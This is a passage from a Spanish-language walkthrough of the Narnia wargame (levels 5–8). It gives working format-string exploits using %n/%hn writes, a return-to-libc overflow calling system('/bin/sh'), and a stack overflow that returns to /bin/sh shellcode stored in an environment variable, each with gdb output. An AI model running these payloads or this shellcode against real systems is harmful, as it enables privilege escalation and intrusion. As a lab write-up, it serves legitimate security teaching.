La posibilidad de “ver” los valores almacenados en el stack ya resulta suficientemente peligrosa depor sí, pero es que además, y tal como necesitamos para poder pasar al siguiente nivel, resultaposible modificar el contenido del mismo. Pero para ello primero tendremos que conocer laposición en los valores accesibles por la cadena de formato del parámetro que podemos controlar.

De las pruebas realizadas hasta el momento conocemos que el comienzo de la variable quealmacenará el argumento recibido por la aplicación aparece en quinto lugar, es decir:

narnia5@melissa:~$ /narnia/narnia5 "ABCD %08x %08x %08x %08x %08x"Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [ABCD f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708 44434241] (49)i = 1 (0xffffd73c)

El último especificador de formato, el correspondiente al quinto “%08x” de nuestra cadenaenviada a la aplicación, nos muestra los valores hexadecimales para los 4 caracteres que indicamosen primer lugar, es decir, ABCD. Por lo tanto el parámetro que controlamos es el quinto. Si a esto lesumamos que Linux nos permite indicar en la cadena de formato el parámetro que se utilizará parasustituir cada especificador, la cadena necesaria se simplifica muchísimo:

narnia5@melissa:~$ /narnia/narnia5 "ABCD %5\$x"Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [ABCD 44434241] (13)i = 1 (0xffffd73c)

Juntando todo lo anterior, un método más recomendable para localizar dicha posición, extraído dellibro “The Shellcoder's Handbook: Discovering and Exploiting Security Holes”12, sería utilizar unpoco de fuerza bruta:

narnia5@melissa:~$ for (( i = 0; i < 100; i++ ));> do echo "Pos $i:" && /narnia/narnia5 "ABCD %$i\$x" ;> done | grep -B 2 -A 1 44434241Pos 5:Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [ABCD 44434241] (13)i = 1 (0xffffd74c)

Es más recomendable porque el parámetro sobre el que tendremos control no siempre estará tancerca como en el caso que nos ocupa.

Ahora sólo nos falta la última pieza del puzzle. Con lo que sabemos hasta ahora tenemos muchocontrol sobre lo que queremos ver, pero seguimos sin poder modificar valores del stack.

Por suerte las funciones de la familia printf incluyen un carácter de conversión que no muestranada, al contrario, permite escribir el número de caracteres mostrados hasta su posición en lacadena de formato en el parámetro correspondiente recibido por la función como argumento.

12 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html

27

Page 28: Mi solución al wargame Narnia

Vamos a probarlo, y para ello utilizaremos la dirección en el stack para la variable i que la propiaaplicación nos muestra como resultado de su ejecución (tercer parámetro, &i, de la últimallamada a printf en el código fuente de la aplicación):

narnia5@melissa:~$ /narnia/narnia5 $(python -c 'print "\x4c\xd7\xff\xff"')" %5\$n"Change i's value from 1 -> 500. No way...let me give you a hint!buffer : [L×ÿÿ ] (5)i = 5 (0xffffd74c)

Hemos conseguido modificar el valor de i de forma que en lugar de contener un 1 ahora contieneun 5. Esto es porque gracias al modificador %n se ha escrito el valor 5 correspondiente a los 4caracteres que forman la dirección de la variable mas un espacio en blanco. Si queremos escribirun 6 incluiremos dos espacios en blanco, un 7 tres, y así sucesivamente; pero vamos a tener queincluir muchos espacios en blanco en nuestra cadena de formato si lo que al final queremosescribir en i es el valor 500.

En lugar de hacerlo manualmente utilizaremos la posibilidad de especificar el ancho mínimo delcampo en la cadena de formato. Indicaremos un ancho mínimo de 495, que mas los 5 de ladirección más el espacio en blanco se corresponden con el valor 500 que queremos darle a lavariable i:

narnia5@melissa:~$ /narnia/narnia5 $(printf "\x4c\xd7\xff\xff")" %495d%5\$n"Change i's value from 1 -> 500. GOOD$ cat /etc/narnia_pass/narnia6lolololol$ exitNo way...let me give you a hint!buffer : [<×ÿÿ ] (63)i = 500 (0xffffd74c)

En este caso para incluir la dirección de la variable en la cadena que recibe la aplicación vulnerablecomo argumento he utilizado el comando printf13 de linux, cuyo formato es muy similar al de lafunción de la librería stdio.h del lenguaje C.

13 http://linuxconfig.org/bash-printf-syntax-basics-with-examples

28

Page 29: Mi solución al wargame Narnia

Nivel 6Autentificados en el sistema como el usuario narnia6 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia6@melissa:~$ cat /narnia/narnia6.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <stdlib.h>#include <string.h>

extern char **environ;

int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i;

if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

/* clear environ */ for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); /* clear argz */ for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i]));

strcpy(b1,argv[1]); strcpy(b2,argv[2]); if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1); fp(b1);

exit(1);}

La aplicación espera como argumento dos parámetros que almacena en sendos arrays utilizando lafunción strcpy. Como salida únicamente muestra el contenido del primero de los dos una vez“rellenado”, utilizando para ello un puntero a una función, fp, establecido anteriormente de formaque apunta a puts14.

14 http://linux.about.com/library/cmd/blcmdl3_puts.htm

29

Page 30: Mi solución al wargame Narnia

Parece que tenemos dos posibles buffers que desbordar, b1 y b2, así que veamos donde se ubicanen el stack y, por lo tanto, hasta donde nos permitirían “llegar” una vez desbordados. Pongamos unbreakpoint en cada llamada a strcpy:

narnia6@melissa:~$ gdb -q /narnia/narnia6Reading symbols from /narnia/narnia6...(no debugging symbols found)...done.(gdb) break *strcpyBreakpoint 1 at 0x80483f0(gdb) run ABCD EFGHStarting program: /narnia/narnia6 ABCD EFGH

Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos en la primera llamada, la encargada de copiar argv[1] en el array b1[8]. Vamosa comprobar el contenido del stack, lo que nos permitirá determinar la ubicación en memoria deb1, y continuar con la ejecución del programa:

(gdb) x/4xw $esp0xffffd6fc: 0x080485e9 0xffffd720 0xffffd925 0x00000021(gdb) cContinuing.

Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6

Nos detenemos ahora en la segunda llamada a strcpy, la encargada de copiar argv[2] en elarray b2[8]. Obtenemos su ubicación en el stack y ponemos un nuevo breakpoint en la instruccióndel main que se ejecuta justo después de la llamada a la función:

(gdb) x/4xw $esp0xffffd6fc: 0x08048601 0xffffd718 0xffffd92a 0x00000021(gdb) break *0x08048601Breakpoint 2 at 0x8048601

Para terminar, y una vez alcanzado el último breakpoint, comprobemos el contenido de ambosarrays, b1 y b2, los cuales deberían contener las cadenas ABCD y EFGH respectivamente, y delresto del stack:

(gdb) cContinuing.

Breakpoint 2, 0x08048601 in main ()(gdb) print (char *) 0xffffd720$1 = 0xffffd720 "ABCD"(gdb) print (char *) 0xffffd718$2 = 0xffffd718 "EFGH"(gdb) info reg ebp espebp 0xffffd738 0xffffd738esp 0xffffd700 0xffffd700

30

Page 31: Mi solución al wargame Narnia

(gdb) x/20xw $esp0xffffd700: 0xffffd718 0xffffd92a 0x00000021 0x080486590xffffd710: 0xf7ea2c3d 0xf7fd3324 0x48474645 0xffffd7000xffffd720: 0x44434241 0xf7feed00 0x08048410 0x000000030xffffd730: 0x08048640 0x00000000 0xffffd7b8 0xf7e89e370xffffd740: 0x00000003 0xffffd7e4 0xffffd7f4 0xf7fdf420

Ahora ya podemos “dibujarnos” su estructura completa:

0xffffd748: Puntero a environ 0xffffd744: Argumento 2 de main, argv 0xffffd740: Argumento 1 de main, argc 0xffffd73c: EIPEBP --> 0xffffd738: EBP 0xffffd734: No es importante 0xffffd730: No es importante 0xffffd72c: int i 0xffffd728: Puntero a puts (fp) 0xffffd724: b1[8] 0xffffd720: b1[8] 0xffffd71c: b2[8] 0xffffd718: b2[8] 0xffffd714: No es importante 0xffffd710: No es importante 0xffffd70c: No es importante

0xffffd708: No es importante 0xffffd704: No es importante

ESP --> 0xffffd700: No es importante

Los dos arrays se encuentran uno detrás de otro, y desbordando cualquiera de ellos podríamosllegar a sobreescribir EIP. Pero eso no nos serviría de nada dado que la aplicación termina con unexit15 cuya llamada descartará el valor del registro EIP de la aplicación finalizándola por sí misma.

Otra opción sería sobreescribir fp apuntándolo a una variable del entorno con nuestra shellcode,pero eso tampoco nos sirve dado que la aplicación se encarga de vaciarlo durante su ejecución:

/* clear environ */for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i]));

Almacenar la shellcode en el tercer argumento de la aplicación y hacer que el puntero fp apunteallí tampoco es factible por dos motivos: primero, la aplicación vacía el contenido de un posibletercer parámetro y sucesivos:

/* clear argz */for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i]));

15 http://linux.about.com/library/cmd/blcmdl3_exit.htm

31

Page 32: Mi solución al wargame Narnia

Y segundo, si la dirección apuntada por fp “cae” dentro del stack la aplicación terminará con unallamada a exit:

if(((unsigned long)fp & 0xff000000) == 0xff000000) exit(-1);

Esto último también nos impide almacenar la shellcode en el array b2 y hacer que fp apunte alinicio del mismo además de que no conozco, ni creo ser capaz de generar, una shellcode tanpequeña. Menos mal que siempre nos quedará return to libc16.

Obtendremos la dirección en memoria para la función system17 de la libc utilizando unaaplicación que realice una llamada a la misma analizándola con el debugger:

narnia6@melissa:~$ cd /tmpnarnia6@melissa:/tmp$ vim get_system.c

#include <stdio.h>

int main(){ system();

return 0;}

narnia6@melissa:/tmp$ gcc -g -m32 -o get_system get_system.cnarnia6@melissa:/tmp$ gdb -q get_systemReading symbols from /tmp/get_system...done.(gdb) break mainBreakpoint 1 at 0x80483ca: file get_system.c, line 5.(gdb) runStarting program: /tmp/get_system

Breakpoint 1, main () at get_system.c:55 system();(gdb) p system$1 = {<text variable, no debug info>} 0xf7eaf260 <system>

Ya tenemos su dirección en memoria,0xf7eaf260, y sabemos que para ejecutar una shell éstanecesita recibir como parámetro la cadena “/bin/sh”. ¿Como estructuraremos los argumentosque le pasaremos a la aplicación vulnerable para conseguir nuestro propósito?

Si volvemos a lanzar la aplicación:

narnia6@melissa:/tmp$ /narnia/narnia6 ABCD EFGHABCD

16 http://en.wikipedia.org/wiki/Return-to-libc_attack17 http://linux.die.net/man/3/system

32

Page 33: Mi solución al wargame Narnia

comprobaremos como la cadena recibida mediante argv[1] y copiada en el array b[1] mediantestrcpy se le pasa directamente a la función apuntada por fp.

Repasando la estructura del stack resulta obvio que tendremos que utilizar los dos parámetros queespera la aplicación para sobreescribir el contenido de los buffers b1 y b2 en dos etapas. Laprimera etapa, utilizando el primer argumento, nos permitirá sobreescribir fp, y la segunda etapa,utilizando el segundo argumento, colocará en b1 la cadena utilizada por system:

narnia6@melissa:/tmp$ cd ~narnia6@melissa:~$ /narnia/narnia6 $(python -c 'print "A" * 8 + "\x60\xf2\xea\xf7"') \> $(python -c 'print "A" * 8')"/bin/sh"$ cat /etc/narnia_pass/narnia7lolololol

33

Page 34: Mi solución al wargame Narnia

34

Page 35: Mi solución al wargame Narnia

Nivel 7

Autentificados en el sistema como el usuario narnia7 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia7@melissa:~$ cat /narnia/narnia7.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdlib.h>#include <unistd.h>

int goodfunction();int hackedfunction();

int vuln(const char *format){ char buffer[128]; int (*ptrf)();

memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction);

ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction;

snprintf(buffer, sizeof buffer, format);

return ptrf();}

int main(int argc, char **argv){ if (argc <= 1){ fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); }

35

Page 36: Mi solución al wargame Narnia

exit(vuln(argv[1]));}

int goodfunction(){ printf("Welcome to the goodfunction, but i said the Hackedfunction..\n"); fflush(stdout);

return 0;}

int hackedfunction(){ printf("Way to go!!!!"); fflush(stdout); system("/bin/sh");

return 0;}

La cadena que se le pasa como argumento a la aplicación se copia, utilizando la funciónsnprintf18, en el array buffer[128]. Si a esto le sumamos el resultado de ejecutar la aplicación:

narnia7@melissa:~$ /narnia/narnia7 AAAAgoodfunction() = 0x804867bhackedfunction() = 0x80486a1

before : ptrf() = 0x804867b (0xffffd6ac)I guess you want to come to the hackedfunction...Welcome to the goodfunction, but i said the Hackedfunction..

parece que volvemos a enfrentarnos a una vulnerabilidad de format string19 ya que tenemos quemodificar el valor de un puntero, ptrf, almacenado en una dirección del stack que conocemos,0xffffd6ac, para que apunte a una función, 0x80486a1 → hackedfunction(), distinta de laapuntada por defecto, 0x804867b → goodfunction().

El principal problema, al menos a priori, es que la aplicación no nos devuelve el contenido del arraybuffer que almacena nuestra cadena de formato una vez interpretada, por lo que tendremos queutilizar el debugger para averiguar la posición del especificador de formato que somos capaces decontrolar:

narnia7@melissa:~$ gdb -q /narnia/narnia7Reading symbols from /narnia/narnia7...(no debugging symbols found)...done.(gdb) break snprintfBreakpoint 1 at 0x8048490(gdb) run "ABCD%08x%08x%08x%08x%08x%08x"Starting program: /narnia/narnia7 "ABCD%08x%08x%08x%08x%08x%08x"goodfunction() = 0x804867bhackedfunction() = 0x80486a1

18 http://linux.die.net/man/3/snprintf19 http://blog.seguesec.com/wp-content/uploads/2011/03/FormatStringAttack-SebastianGuerreroSelma.pdf

36

Page 37: Mi solución al wargame Narnia

before : ptrf() = 0x804867b (0xffffd68c)I guess you want to come to the hackedfunction...

Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6

(gdb) x/4xw $esp0xffffd664: 0xf7fd2ff4 0xffffd718 0x0804861f 0xffffd690

El comando anterior nos permite conocer la siguiente instrucción dentro del main que se ejecutaráuna vez que finalice la llamada a snprint, 0x0804861f:

(gdb) break *0x0804861fBreakpoint 2 at 0x804861f(gdb) cContinuing.

Breakpoint 2, 0x0804861f in vuln ()(gdb) x/24xw $esp0xffffd670: 0xffffd690 0x00000080 0xffffd911 0x080482ec0xffffd680: 0xf7e7fff0 0x080481d8 0x00000001 0x0804867b0xffffd690: 0x44434241 0x34303830 0x63653238 0x376537660xffffd6a0: 0x30666666 0x34303830 0x38643138 0x303030300xffffd6b0: 0x31303030 0x34303830 0x62373638 0x333434340xffffd6c0: 0x31343234 0x00000000 0x00000000 0x00000000

el ultimo comando nos muestra una parte del stack, incluyendo el contenido de la variable bufferque comienza en la dirección 0xffffd690. Interpretando los valores almacenados con la ayuda deuna tabla de códigos ASCII20 tenemos.

Posición Dirección Contenido Hexadecimal Cadena final

0xffffd690 44434241 44434241 ABCD

1 0xffffd694 3430383063653238 4080ce28 080482ec

2 0xffffd69c 3765376630666666 7e7f0fff f7e7fff0

3 0xffffd6a4 3430383038643138 40808d18 080481d8

4 0xffffd6ac 3030303031303030 00001000 00000001

5 0xffffd6b4 3430383062373638 4080d768 0804867d

6 0xffffd6bc 3334343431343234 34441424 ABCD

Por lo tanto ya sabemos la posición del valor que controlamos y que, por lo tanto, somos capacesde modificar: el sexto.

A diferencia del proceso seguido para completar el nivel 5 en este caso tenemos que escribir unvalor correspondiente a una dirección de memoria, por lo que la cadena de formato no será tansencilla. Para simplificar la creación de la cadena de formato adecuada seguiremos lasinstrucciones de la siguiente tabla, extraída del libro “Gray Hat Hacking: The Ethical Hackers

20 http://www.asciitable.com/

37

Page 38: Mi solución al wargame Narnia

Handbook, 3rd Edition”21:

Orden High Order Byte < Low Order Byte High Order Byte > Low Order Byte

1 [address + 2][address] [address + 2][address]

2 %.[High Order Byte - 8]x %.[Low Order Byte - 8]x

3 %[offset]$hn %[offset + 1]$hn

4 %.[Low Order Byte – High Order Byte]x %.[High Order Byte – Low Order Byte]x

5 %[offset + 1]$hn %[offset]$hn

Recordemos los valores específicos de nuestro caso volviendo a ejecutar la aplicación:

narnia7@melissa:~$ /narnia/narnia7 ABDCgoodfunction() = 0x804867bhackedfunction() = 0x80486a1

before : ptrf() = 0x804867b (0xffffd6ac)I guess you want to come to the hackedfunction...Welcome to the goodfunction, but i said the Hackedfunction..

Tenemos que escribir el valor 080486a1 en la dirección 0804867b. Si descomponemos la dirección:

0x080486a1 → 0x0804 < 0x86a1

por lo tanto los pasos a seguir:

1. [ffffd68c + 2][0xffffd68c] → \x8e\xd6\xff\xff\x8c\xd6\xff\xff2. %.[0x0804 – 8]x → %.[0x7FC – 8]x → convertido a decimal → %.2044x3. %[6]$hn → %6\$hn4. %.[0x86a1 – 0x0804]x → %.[0x7e9d]x → convertido a decimal → %.32413x5. %[6 + 1]$hn → %7\$hn

Para terminar, y juntándolo todo:

narnia7@melissa:~$ /narnia/narnia7 $(printf "\x8e\xd6\xff\xff\x8c\xd6\xff\xff")%.2044x%6\$hn%.32413x%7\$hngoodfunction() = 0x804867bhackedfunction() = 0x80486a1

before : ptrf() = 0x804867b (0xffffd68c)I guess you want to come to the hackedfunction...Way to go!!!!$ cat /etc/narnia_pass/narnia8lolololol

21 http://www.amazon.com/Gray-Hacking-Ethical-Hackers-Handbook/dp/0071742557

38

Page 39: Mi solución al wargame Narnia

Nivel 8

Autentificados en el sistema como el usuario narnia8 con la contraseña obtenida en el nivelanterior, primero analizaremos el código fuente de la aplicación vulnerable:

narnia8@melissa:~$ cat /narnia/narnia8.c/* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA*/#include <stdio.h>#include <stdlib.h>#include <string.h>// gcc's variable reordering fucked things up// to keep the level in its old style i am// making "i" global unti i find a fix// -morlaint i;

void func(char *b){ char *blah=b; char bok[20]; //int i=0;

memset(bok, '\0', sizeof(bok)); for(i=0; blah[i] != '\0'; i++) bok[i]=blah[i];

printf("%s\n",bok);}

int main(int argc, char **argv){

if(argc > 1) func(argv[1]); else printf("%s argument\n", argv[0]);

return 0;}

El binario recibe una cadena como parámetro que se copia dentro de la función func en el arraybok[20], utilizando como origen un puntero a argv[1].

39

Page 40: Mi solución al wargame Narnia

Veamos la aplicación desde el debugger, deteniéndonos en la primera instrucción de la funciónfunc y avanzando una instrucción más, de forma que el valor de EBP sea “pusheado” en el stack:

narnia8@melissa:~$ gdb -q /narnia/narnia8Reading symbols from /narnia/narnia8...(no debugging symbols found)...done.(gdb) break *funcBreakpoint 1 at 0x80483d4(gdb) run ABCDStarting program: /narnia/narnia8 ABCD

Breakpoint 1, 0x080483d4 in func ()(gdb) stepi0x080483d5 in func ()(gdb) x/4xw $esp0xffffd728: 0xffffd748 0x0804846d 0xffffd929 0xf7feed80(gdb) print (char *) 0xffffd929$1 = 0xffffd929 "ABCD"

Ya tenemos la ubicación en del registro EBP, 0xffffd728, EIP, 0xffffd72c, y el valor del punteroa la cadena argv[1], 0xffffd929. Vamos a desensamblar func:

(gdb) disas funcDump of assembler code for function func: 0x080483d4 <+0>: push %ebp=> 0x080483d5 <+1>: mov %esp,%ebp 0x080483d7 <+3>: sub $0x38,%esp 0x080483da <+6>: mov 0x8(%ebp),%eax 0x080483dd <+9>: mov %eax,-0xc(%ebp) 0x080483e0 <+12>: movl $0x14,0x8(%esp) 0x080483e8 <+20>: movl $0x0,0x4(%esp) 0x080483f0 <+28>: lea -0x20(%ebp),%eax 0x080483f3 <+31>: mov %eax,(%esp) 0x080483f6 <+34>: call 0x80482e4 <memset@plt>

Solo muestro una parte del desensamblado, en concreto hasta la llamada a la función memset quese encargará de rellenar el contenido de bok[20] con ceros. Pongamos un nuevo breakpoint enesta línea y analicemos los parámetros que recibe:

(gdb) break *0x080483f6Breakpoint 2 at 0x80483f6(gdb) cContinuing.

Breakpoint 2, 0x080483f6 in func ()(gdb) info reg ebp espebp 0xffffd728 0xffffd728esp 0xffffd6f0 0xffffd6f0(gdb) x/4xw $esp0xffffd6f0: 0xffffd708 0x00000000 0x00000014 0xf7e89c65

40

Page 41: Mi solución al wargame Narnia

El primer valor para la salida del último comando se corresponde con la dirección en el stack delinicio de la variable bok[20], 0xffffd708. Así que, con lo que sabemos hasta el momento, elaspecto del stack será:

0xffffd730: Argumento 1 de func, argv[1] = 0xffffd929 0xffffd72c: EIPEBP --> 0xffffd728: EBP 0xffffd724: No lo sabemos 0xffffd720: No lo sabemos 0xffffd71c: No lo sabemos 0xffffd718: bok[20] 0xffffd714: bok[20] 0xffffd710: bok[20] 0xffffd70c: bok[20] 0xffffd708: bok[20] 0xffffd704: No es importante 0xffffd700: No es importante 0xffffd6fc: No es importante 0xffffd6f8: No es importante 0xffffd6f4: No es importanteESP --> 0xffffd6f0: No es importante

Del “dibujo” anterior podemos extraer la cantidad de caracteres que necesitaremos para consegursobreescribir EIP:

0xffffd72c – 0xffffd708 = 0x24 + 0x4 = 0x28 → 40 en decimal

Pero si probamos a desbordar el buffer:

narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 40')AAAAAAAAAAAAAAAAAAAAAbÿÿ=,ê÷$3ý÷8×ÿÿm Ùÿÿíþ÷ ô/ý÷

No se ha producido el famoso “Segmentation fault”. ¿Cual ha sido el problema y hasta dondehemos llegado? Analicémoslo mediante el debugger, teniendo en cuenta que las direccionesvariarán con respecto al “dibujo” del stack que habíamos generado, pero los offsets no:

narnia8@melissa:~$ gdb -q /narnia/narnia8Reading symbols from /narnia/narnia8...(no debugging symbols found)...done.(gdb) break *printfBreakpoint 1 at 0x8048304(gdb) run $(python -c 'print "A" * 40')Starting program: /narnia/narnia8 $(python -c 'print "A" * 40')

Breakpoint 1, 0xf7ebd5c0 in printf () from /lib32/libc.so.6(gdb) x/4xw $esp0xffffd6cc: 0x0804844c 0x08048550 0xffffd6e8 0x00000014

41

Page 42: Mi solución al wargame Narnia

(gdb) break *0x0804844cBreakpoint 2 at 0x804844c(gdb) cContinuing.AAAAAAAAAAAAAAAAAAAAA4ÿÿ=,ê÷$3ý÷(×ÿÿm Ùÿÿíþ÷ ô/ý÷

Breakpoint 2, 0x0804844c in func ()(gdb) x/24xw $esp0xffffd6d0: 0x08048550 0xffffd6e8 0x00000014 0xf7e89c650xffffd6e0: 0x00000000 0x08049648 0x41414141 0x414141410xffffd6f0: 0x41414141 0x41414141 0x41414141 0xffff34410xffffd700: 0xf7ea2c3d 0xf7fd3324 0xffffd728 0x0804846d0xffffd710: 0xffffd906 0xf7feed80 0x0804849b 0xf7fd2ff40xffffd720: 0x08048490 0x00000000 0xffffd7a8 0xf7e89e37

Sabemos que bok[20] empieza en ESP mas 24, o lo que es lo mismo en ESP+0x18 = 0xffffd6e8,y justo allí encontramos la primera de las 40 A's que le hemos pasado a la aplicación comoargumento. Contando a partir de allí encontramos solo 21 A's, ¿cual es la razón?

Toca analizar el desensamblado de func, concretamente el fragmento encargado de rellenar elcontenido de bok utilizando como entrada la cadena recibida como argumento por la aplicación:

0x080483fb: movl $0x0,0x8049674 ; i = 00x08048405: jmp 0x8048429 +--; Salto a 0x80484290x08048407: mov 0x8049674,%eax +-|->; EAX = i 0x0804840c: mov 0x8049674,%edx | | ; EDX = i0x08048412: add -0xc(%ebp),%edx | | ; Apunta EDX a blah[i]0x08048415: movzbl (%edx),%edx | | ; EDX = valor en blah[i]0x08048418: mov %dl,-0x20(%ebp,%eax,1) | | ; bok[i] = EDX0x0804841c: mov 0x8049674,%eax | | ; EAX = i0x08048421: add $0x1,%eax | | ; EAX++ (i++)0x08048424: mov %eax,0x8049674 | | ; 0x8049674 = EAX (i)0x08048429: mov 0x8049674,%eax | +->; EAX = i0x0804842e: add -0xc(%ebp),%eax | ; Apunta EAX a blah[i]0x08048431: movzbl (%eax),%eax | ; EAX = valor en blah[i]0x08048434: test %al,%al | ; Compara AL con AL 0x08048436: jne 0x8048407 +----; Salta si EAX != 0

La instrucción en 0x08048412 utiliza el valor almacenado en EBP-0xc como inicio de la cadena,char * blah, el cual desplaza i bytes, blah[i], para obtener el valor a copiar en bok[i].

0xffffd710: Argumento 1 de func, argv[1] = 0xffffd929 0xffffd70c: EIPEBP --> 0xffffd708: EBP 0xffffd704: No lo sabemos 0xffffd700: No lo sabemos 0xffffd6fc: blah 0xffffd6f8: bok[20]

42

Page 43: Mi solución al wargame Narnia

Por lo tanto justo al terminar el espacio del buffer que podemos desbordar tenemos la direcciónque marca el inicio de la cadena que estamos utilizando para desbordarlo.

Debo reconocer que hasta que me dí cuenta de que podía determinar el contenido del stack apartir de la salida devuelta por la aplicación estuve algún tiempo probando todo lo que me pasabapor la cabeza sin llegar a ninguna parte; pero de pronto se me encendió la luz y se me ocurrióprobar lo siguiente:

narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 40000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA0000010: 41414141 2bd9ffff 3d2ceaf7 2433fdf7 AAAA+...=,..$3..0000020: 48d7ffff 6d840408 2bd9ffff 80edfef7 H...m...+.......0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

El comando xxd22 de linux no es ni más, ni tampoco menos, que un editor hexadecimal en modotexto, y el parámetro “-g 4” se encarga de juntar los bytes mostrados en grupos de 4 paraofrecernos una salida similar a la de un dump con gdb.

Pero, ¿cómo es que aparece eso como resultado? Pues resulta que el argumento que le pasamos ala aplicación no contiene el indicador de final de cadena, por lo que la siguiente instrucción de laaplicación:

printf("%s\n",bok);

muestra el contenido del stack hasta encontrar un byte nulo, permitiéndonos ver valoresinteresantes como, por ejemplo, el puntero al inicio de argv[1] = blah = cadena recibida por laaplicación. Si probamos ahora a desbordar bok[20]:

narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 21') | xxd -g 40000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA0000010: 41414141 4162ffff 3d2ceaf7 2433fdf7 AAAAAb..=,..$3..0000020: 48d7ffff 6d840408 2ad9ffff 80edfef7 H...m...*.......0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

se sobreescribe justo el último byte del puntero blah, con lo que el inicio de la cadena pasa aapuntar a un lugar sobre el que no tenemos control y se nos joroba el invento.

Parece pués que queda claro que tenemos que mantener la dirección de inicio de nuestra cadenapara poder seguir desbordando el buffer hasta llegar a EIP; pero además, al “crecer” el tamaño dela cadena que le pasamos a la aplicación el puntero argv[1], y por tanto blah, se desplazará auna dirección anterior. La regla para sobreescribir x bytes sería:

Inicio cadena 20 bytes – 4 bytes – x bytes a sobreescribir

22 http://linux.about.com/library/cmd/blcmdl1_xxd.htm

43

Page 44: Mi solución al wargame Narnia

Por lo tanto para el caso que nos ocupa los cálculos serían:

0xffffd92b – 0x4 – 0x10 (16 en hex) = 0xffffd917

que si lo probamos debería provocar nuestro querido “Segmentation fault”:

narnia8@melissa:~$ /narnia/narnia8 $(python -c 'print "A" * 20 + "\x17\xd9\xff\xff" +"A" * 16')AAAAAAAAAAAAAAAAAAAAÙÿÿAAAAAAAAAAAAAAAAÙÿÿíþ÷ ô/ý÷

Segmentation fault

¡Ahora ya sí que lo tenemos!

Utilizaremos como dirección para sobreescribir EIP la de una variable de entorno que contenganuestra shellcode, así que primero la crearemos y exportaremos:

narnia2@melissa:~$ cd /tmpnarnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" +"\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" +"\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" +"\xff/bin/sh"')

Generamos ahora un binario que nos devuelva la dirección en memoria para la variable,recordando compilarlo utilizando el flag -m32 de gcc para obtener un binario de 32 bits:

narnia2@melissa:/tmp$ vim get_address.c#include <stdio.h>#include <stdlib.h>

int main(int argc, char *argv[]){ if(!argv[1]) exit(1);

printf("%#x\n", getenv(argv[1]));

return 0;}narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.cnarnia2@melissa:/tmp$ ./get_address SHELLCODE0xffffd902

Como el contenido del entorno que recibe la aplicación ha aumentado para almacenar una nuevavariable, SHELLCODE, las direcciones que tendremos que utilizar habrán variado nuevamente, asíque volveremos a ejecutar los pasos necesarios para determinar los nuevos valores.

44

Page 45: Mi solución al wargame Narnia

narnia8@melissa:/tmp$ /narnia/narnia8 $(python -c 'print "A" * 20') | xxd -g 40000000: 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA0000010: 41414141 dfd8ffff 3d2ceaf7 2433fdf7 AAAA....=,..$3..0000020: f8d6ffff 6d840408 dfd8ffff 80edfef7 ....m...........0000030: 9b840408 f42ffdf7 90840408 0a ...../.......

Con el valor anterior para inicio cadena 20 bytes:

